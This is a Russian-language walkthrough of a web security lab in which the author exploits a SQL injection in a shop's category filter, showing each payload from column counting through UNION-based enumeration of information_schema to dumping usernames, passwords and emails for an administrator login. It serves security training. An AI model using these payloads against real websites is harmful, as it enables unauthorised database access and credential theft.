В данной лабе есть уязвимый к SQL injection фильтр категории. Для решения нужно получить учетные данные администратора и залогиниться от его имени.

https://0a8a00d103c143f285ba801000a10039.web-security-academy.net/

Solution

Такс, ну из условия известно, что уязвимость в фильтре категорий. Возьму URL с фильтром для Gifts:

https://0a8a00d103c143f285ba801000a10039.web-security-academy.net/filter?category=Gifts

Время подбирать обрамление. Из моего опыта с лабами предположу, что тут снова одинарная кавычка) Попробую следующий пейлоад:

Gifts' and false-- -

Если страница ломается или возвращает другую страницу — значит SQL-инъекция сработала. Все так:

IMG

Скорее всего 2 колонки в запросе. Поэтому попробую ORDERY BY 3 и ORDER BY 2:

Gifts' and false ORDER BY 3-- -Error
Gifts' and false ORDER BY 2-- -Ok
Пояснение ORDER BY N в SQL-запросe: если N превышает реальное количество столбцов — БД вернёт ошибку, если N корректно — запрос выполнится без ошибок.

Теперь нужно получить информацию о БД. Для этого буду использовать UNION в пейлоаде:

Gifts' and false UNION SELECT 1, 2-- -Error
Gifts' and false UNION SELECT '1', '2'-- -
Пояснение UNION SELECT — это оператор в SQL, который объединяет результаты SELECT-запросов в один. Когда веб-приложение вставляет данные пользователя в **SQL-запрос** без фильтрации или экранирования, можно добавить UNION SELECT к своему вводу, чтобы вытянуть данные из других таблиц, даже если они не должны быть показаны. В данном решении выбираются ранее обнаруженные колонки.

IMG

Теперь буду получать информацию о БД:

Gifts' and false UNION SELECT database(), version()-- -Error
Gifts' and false UNION SELECT '1', version()-- -
Пояснение Это важно, потому что системные таблицы отличаются в MySQL, PostgreSQL и Oracle.

IMG

У меня БД PostgreSQL 12.20.

Теперь нужно вытащить доступные таблицы из системной таблицы informaiton_schema:

Gifts' and false UNION SELECT table_name, NULL FROM information_schema.tables-- -
Пояснение information_schema — служебные таблицы, содержащие метаинформацию (про таблицы, поля и т.д.).

Я получил список всех таблиц:

IMG

С помощью поиска на странице я нашел таблицу users_uajicb. Попробую поработать с ней.

IMG

Вытащу доступные колонки из нее:

Gifts' and false UNION SELECT 'columns', column_name FROM information_schema.columns WHERE table_name = 'users_uajicb'-- -

IMG

Я узнал, что в таблице users_uajicb содержатся следующие колонки: email, password_fiazmh, username_gwsbij. Теперь выведу их содержимое с помощью следующего пейлоада:

Gifts' and false UNION SELECT username_gwsbij, concat(username_gwsbij, ':', password_fiazmh, ':', email) FROM users_uajicb-- -

IMG

Зайду в аккаунт администратора:

IMG

Пуф. Лаба пройдена:3 ☕